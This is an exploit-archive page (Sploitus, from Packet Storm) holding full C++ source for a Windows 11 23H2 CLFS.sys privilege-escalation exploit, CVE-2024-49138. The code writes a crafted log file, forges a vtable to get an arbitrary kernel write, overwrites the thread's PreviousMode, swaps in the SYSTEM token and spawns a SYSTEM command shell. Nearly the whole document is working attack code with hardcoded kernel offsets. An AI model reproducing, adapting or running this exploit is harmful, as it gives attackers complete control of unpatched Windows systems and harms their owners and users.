Sploitus

Exploit for πŸ“„ Microsoft Windows 11 23h2 Privilege Escalation

packetstorm Β· 2025-04-22

Exploit Code

c569 lines
## https://sploitus.com/exploit?id=PACKETSTORM:190585
# Exploit Title:Microsoft Windows 11 23h2 - 'CLFS.sys' Elevation of
    Privilege Vulnerability
    # Date: 2025-04-16
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: miladgrayhat@gmail.com
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # MiRROR-H: https://mirror-h.org/search/hacker/49626/
    # CVE: CVE-2024-49138
    
    
    #include <iostream>
    #include <Windows.h>
    #include <clfsw32.h>
    #include <format>
    #include <psapi.h>
    #include <iostream>
    #include <fstream>
    #include <iomanip>
    #include <vector>
    #include <cstdint>
    #include "resource.h"
    
    #define CONTROL_BLOCK_SIZE 0x400
    #define OFFSET_EXTENDED_STATE 0x84
    #define OFFSET_IEXTENDED_BLOCK 0x88
    #define OFFSET_IFLUSHB_BLOCK 0x8c
    
    #define _CRT_SECURE_NO_WARNINGS 1
    
    //dt nt!_KTHREAD current
    //+ 0x230 UserAffinityPrimaryGroup : 0
    //+ 0x232 PreviousMode : 1 ''
    //+ 0x233 BasePriority : 15 ''
    //+ 0x234 PriorityDecrement : 0 ''
    //+ 0x234 ForegroundBoost : 0y0000
    //+ 0x234 UnusualBoost : 0y0000
    //+ 0x235 Preempted : 0 ''
    //+ 0x236 AdjustReason : 0 ''
    //+ 0x237 AdjustIncrement : 0 ''
    //+ 0x238 AffinityVersion : 0x14
    //+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX
    //WINDBG > dq ffffc201419e1080 + 0x232 L1
    //ffffc201`419e12b2 00140000`00000f01
    
    //WINDBG > ? nt!PoFxProcessorNotification - nt
    //Evaluate expression : 3861424 = 00000000`003aebb0
    //WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt
    //Evaluate expression : 8324768 = 00000000`007f06a0
    //WINDBG > ? nt!PsActiveProcessHead - nt
    //Evaluate expression : 12812128 = 00000000`00c37f60
    
    #define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
    #define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
    #define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
    #define ACTIVEPROCESSLINKS_OFFSET 0x448
    #define UNIQUEPROCESSID_OFFSET 0x440
    #define TOKEN_OFFSET 0x4b8
    #define TOKENPRIVILEGESPRESENT_OFFSET 0x40
    #define TOKENPRIVILEGSENABLED_OFFSET 0x48
    
    #pragma comment(lib, "Clfsw32.lib")
    
    LPVOID GetKernelBaseAddress() {
        LPVOID drivers[1024]; // Array to hold driver addresses
        DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers
        int driverCount;
        TCHAR driverName[MAX_PATH];
    
        // Enumerate loaded device drivers
        if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
            printf("Failed to enumerate device drivers. Error: %lu\n",
    GetLastError());
            return (LPVOID)0x0;
        }
    
        driverCount = cbNeeded / sizeof(drivers[0]);
    
        if (driverCount == 0) {
            printf("No device drivers found.\n");
            return (LPVOID)0x0;
        }
    
        // The first driver is usually the Windows kernel
        LPVOID kernelBaseAddress = drivers[0];
    
        // Retrieve the name of the kernel driver
        if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {
            printf("Kernel Base Address: 0x%p\n", kernelBaseAddress);
            printf("Kernel Name: %ls\n", driverName);
        }
        else {
            printf("Failed to retrieve kernel name. Error: %lu\n",
    GetLastError());
        }
    
        return kernelBaseAddress;
    
    }
    
    
    #define SystemHandleInformation 0x10
    #define SystemHandleInformationSize 1024 * 1024 * 2
    
    using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
        ULONG SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
        );
    
    // Definitions for NTSTATUS and system calls
    using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
        HANDLE ProcessHandle,
        PVOID BaseAddress,
        PVOID Buffer,
        ULONG BufferSize,
        PULONG NumberOfBytesRead);
    
    using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
        HANDLE ProcessHandle,
        PVOID BaseAddress,
        PVOID Buffer,
        ULONG BufferSize,
        PULONG NumberOfBytesWritten);
    
    fNtReadVirtualMemory NtReadVirtualMemory = NULL;
    fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
    
    // handle information
    typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
    {
        USHORT UniqueProcessId;
        USHORT CreatorBackTraceIndex;
        UCHAR ObjectTypeIndex;
        UCHAR HandleAttributes;
        USHORT HandleValue;
        PVOID Object;
        ULONG GrantedAccess;
    } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
    
    // handle table information
    typedef struct _SYSTEM_HANDLE_INFORMATION
    {
        ULONG NumberOfHandles;
        SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
    } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
    
    PVOID GetKAddrFromHandle(HANDLE handle) {
        ULONG returnLength = 0;
        fNtQuerySystemInformation NtQuerySystemInformation =
    (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtQuerySystemInformation");
        PSYSTEM_HANDLE_INFORMATION handleTableInformation =
    (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
    SystemHandleInformationSize);
        NtQuerySystemInformation(SystemHandleInformation,
    handleTableInformation, SystemHandleInformationSize, &returnLength);
    
        ULONG numberOfHandles = handleTableInformation->NumberOfHandles;
    
        HeapFree(GetProcessHeap(), 0, handleTableInformation);
        handleTableInformation =
    (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
    numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +
    sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
        NtQuerySystemInformation(SystemHandleInformation,
    handleTableInformation, numberOfHandles *
    sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)
    + 0x100, &returnLength);
    
        for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
        {
            SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
    (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
    
            if (handleInfo.HandleValue == (USHORT)handle &&
    handleInfo.UniqueProcessId == GetCurrentProcessId())
            {
                return handleInfo.Object;
            }
        }
    }
    
    
    LPVOID g_ntbase = 0;
    LPVOID address_to_write;
    
    //Final byte = kthread.previousMode = 0
    DWORD64 value_to_write = 0x0014000000000f00;
    
    //BOOL SwapTokens() {
    // DWORD64 eprocess = 0;
    // ULONG bytesRead = 0;
    // DWORD64 systemtoken = 0;
    // DWORD64 currenttoken = 0;
    // DWORD pid = 0;
    // DWORD64 privileges = 0x0000001ff2ffffbc;
    //
    // NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
    PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
    // eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
    //
    // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
    &systemtoken, sizeof(systemtoken), NULL);
    //
    //
    // while (1) {
    // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
    ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
    //
    // eprocess -= ACTIVEPROCESSLINKS_OFFSET;
    //
    // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
    UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
    // std::cout << "pid = " << pid << std::endl;
    //
    // if (pid == GetCurrentProcessId())
    // break;
    // }
    //
    // NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
    &currenttoken, sizeof(currenttoken), NULL);
    //
    //
    //
    // //clears refcnt
    // currenttoken = currenttoken & 0xfffffffffffffff0;
    //
    // printf("performing NtWriteVirtualMemory..\n");
    //
    // getchar();
    //
    // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
    TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL);
    // //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
    TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL);
    //
    //
    // NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
    &systemtoken, 0x8, NULL);
    //
    // return TRUE;
    //}
    
    int main()
    {
        HMODULE hModule;
        HRSRC hResource;
        errno_t err;
        HGLOBAL hLoadedResource;
        LPVOID pResourceData;
        DWORD resourceSize;
        FILE* file;
        DWORD sectorsPerCluster;
        DWORD bytesPerSector;
        DWORD numberOfFreeClusters;
        DWORD totalNumberOfClusters;
        const char* rootPath = "C:\\";
        PVOID marshallingArea = NULL;
        ULONGLONG pcbContainer = 0;
        std::wstring logFileName = L"LOG:";
        std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf";
        logFileName += inputName;
        DWORD64 buf = 0;
        ULONG bytesRead = 0;
        LPVOID PreviousModeAddr = NULL;
        DWORD threadId = GetCurrentThreadId(); // Get the current thread ID
        DWORD64 eprocess = 0;
        DWORD64 systemtoken = 0;
        DWORD64 currenttoken = 0;
        DWORD64 pid = 0;
        BYTE PreviousMode = 0x1;
        DWORD64 privileges = 0x0000001ff2ffffbc;
        const char* directoryName1 = "C:\\temp";
        const char* directoryName2 = "C:\\temp\\testlog";
        HANDLE logHndl = INVALID_HANDLE_VALUE;
        ULONGLONG cbContainer = (ULONGLONG)0x80000;
    
        //Creating directories with the baselog and container file
        if (CreateDirectoryA(directoryName1, NULL)) {
            printf("Directory created successfully: %s\n", directoryName1);
        }
        else {
            DWORD error = GetLastError();
            if (error == ERROR_ALREADY_EXISTS) {
                printf("The directory already exists: %s\n", directoryName1);
            }
            else {
                printf("Failed to create the directory. Error code: %lu\n",
    error);
                return 0;
            }
        }
    
        if (CreateDirectoryA(directoryName2, NULL)) {
            printf("Directory created successfully: %s\n", directoryName2);
        }
        else {
            DWORD error = GetLastError();
            if (error == ERROR_ALREADY_EXISTS) {
                printf("The directory already exists: %s\n", directoryName2);
            }
            else {
                printf("Failed to create the directory. Error code: %lu\n",
    error);
                return 0;
            }
        }
    
        //creating BLF
        logHndl = CreateLogFile(logFileName.c_str(),
            GENERIC_WRITE | GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_ALWAYS,
            0);
    
        if (logHndl == INVALID_HANDLE_VALUE) {
            printf("CreateLogFile failed with error %d\n", GetLastError());
            return 0;
        }
        else {
            printf("file opened successfully\n");
        }
    
        //creating and adding container to BLF
        if (!AddLogContainer(logHndl, &cbContainer,
    (LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) {
            printf("AddLogContainer failed with error %d\n", GetLastError());
        }
        else {
            printf("AddLogContainer successful\n");
        }
    
        //closing BLF
        CloseHandle(logHndl);
    
        // Initialize variables
        hModule = GetModuleHandle(NULL);
        if (!hModule) {
            printf("Failed to get module handle.\n");
            return 1;
        }
    
        // Find the resource in the executable
        hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),
    RT_RCDATA);
        if (!hResource) {
            printf("Failed to find resource. Error: %lu\n", GetLastError());
            return 1;
        }
    
        printf("hResource = 0x%p\n", hResource);
        // Load the resource into memory
        hLoadedResource = LoadResource(hModule, hResource);
        if (!hLoadedResource) {
            printf("Failed to load resource. Error: %lu\n", GetLastError());
            return 1;
        }
        printf("hResource = 0x%p\n", hLoadedResource);
        // Lock the resource to get a pointer to its data
        pResourceData = LockResource(hLoadedResource);
        if (!pResourceData) {
            printf("Failed to lock resource. Error: %lu\n", GetLastError());
            return 1;
        }
        printf("pResourceData = 0x%p\n", pResourceData);
        // Get the size of the resource
        resourceSize = SizeofResource(hModule, hResource);
        if (resourceSize == 0) {
            printf("Failed to get resource size. Error: %lu\n", GetLastError());
            return 1;
        }
    
        // At this point, pResourceData points to the binary data, and
    resourceSize contains its size
        printf("Resource size: %lu bytes\n", resourceSize);
    
        // Example: Write the resource data to a file
        err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb");
        if (err == 0 && file) {
            fwrite(pResourceData, 1, resourceSize, file);
            fclose(file);
            printf("Resource written to output.bin successfully.\n");
        }
        else {
            printf("Failed to open output file. Error code: %d\n", err);
        }
    
        //preparing data structures in memory
        g_ntbase = GetKernelBaseAddress();
    
    
        NtReadVirtualMemory =
    (fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtReadVirtualMemory");
        NtWriteVirtualMemory =
    (fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtWriteVirtualMemory");
    
        if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {
            printf("Failed to get addresses for NtReadVirtualMemory or
    NtWriteVirtualMemory\n");
            return -1;
        }
    
        printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory);
        printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory);
    
        // Open a real handle to the current thread
        HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
        if (threadHandle == NULL) {
            printf("Failed to get real handle to the current thread. Error:
    %lu\n", GetLastError());
            return 1;
        }
    
        //0x232 = offset to _KTHREAD.PreviousMode
        address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))
    + 0x232);
    
        auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,
    MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    
        memset(pcclfscontainer, 0, 0x1000);
        auto vtable = (DWORD64)pcclfscontainer + 0x100;
        auto rcx = pcclfscontainer;
    
        *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;
        *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase
    + DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;
    
        //arg1 of DBGKPTRIAGEDUMPRESTORESTATE
        *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;
    
        auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;
    
    
        //address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember
    It writes at offset 0x2078 of where
        *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =
    (DWORD64)address_to_write - 0x2078;
    
        //value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE
        *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =
    0x0014000000000f00;
    
        ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +
    POFXPROCESSORNOTIFICATION_OFFSET;
        *(PDWORD64)pcclfscontainer = (DWORD64)vtable;
    
        printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer);
    
        printf("address_to_write = 0x%p\n", (DWORD64)address_to_write);
    
        HANDLE processHandle = GetCurrentProcess(); // Get the current process
    handle
    
    
    
    
    
        // Set the process priority to HIGH_PRIORITY_CLASS
        if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {
            printf("Process priority set to REALTIME_PRIORITY_CLASS.\n");
        }
        else {
            DWORD error = GetLastError();
            printf("Failed to set process priority. Error code: %lu\n", error);
            return 1;
        }
        threadHandle = GetCurrentThread();
        if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {
            printf("Thread priority set to the highest level:
    TIME_CRITICAL.\n");
        }
        else {
            DWORD error = GetLastError();
            printf("Failed to set thread priority. Error code: %lu\n", error);
            return 1;
        }
    
        printf("triggering vuln...");
        logHndl = CreateLogFile(logFileName.c_str(),
            GENERIC_WRITE | GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_ALWAYS,
            0);
    
        if (logHndl == INVALID_HANDLE_VALUE) {
            printf("CreateLogFile failed with error %d\n", GetLastError());
        }
        else {
            printf("file opened successfully\n");
        }
    
        // Set the process priority to HIGH_PRIORITY_CLASS
        if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {
            printf("Process priority set to NORMAL_PRIORITY_CLASS.\n");
        }
        else {
            DWORD error = GetLastError();
            printf("Failed to set process priority. Error code: %lu\n", error);
            return 1;
        }
        if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {
            printf("Thread priority set to the highest level:
    THREAD_PRIORITY_NORMAL.\n");
        }
        else {
            DWORD error = GetLastError();
            printf("Failed to set thread priority. Error code: %lu\n", error);
            return 1;
        }
    
        printf("vuln triggered\n");
    
        printf("reading base of ntoskrnl to check we have arbitrary
    read/write\n");
    
        NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL);
    
        printf("buf = 0x%p\n", (DWORD64)buf);
    
        printf("swapping tokens...\n");
    
        NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
    PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
        eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
    
        NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
    &systemtoken, sizeof(systemtoken), NULL);
    
    
        while (1) {
            NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
    ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
    
            eprocess -= ACTIVEPROCESSLINKS_OFFSET;
    
            NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
    UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
    
            if (pid == (DWORD64)GetCurrentProcessId())
                break;
        }
    
        printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET);
        printf("systemtoken = 0x%p\n", systemtoken);
    
        printf("Overwriting process token..\n");
    
        NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
    &systemtoken, sizeof(systemtoken), NULL);
    
        printf("token swapped. Restoring PreviousMode and spawning system
    shell...\n");
    
        PreviousModeAddr = address_to_write;
        PreviousMode = 0x1;
        NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode,
    sizeof(PreviousMode), NULL);
    
        system("cmd.exe");
    
        return 0;
    }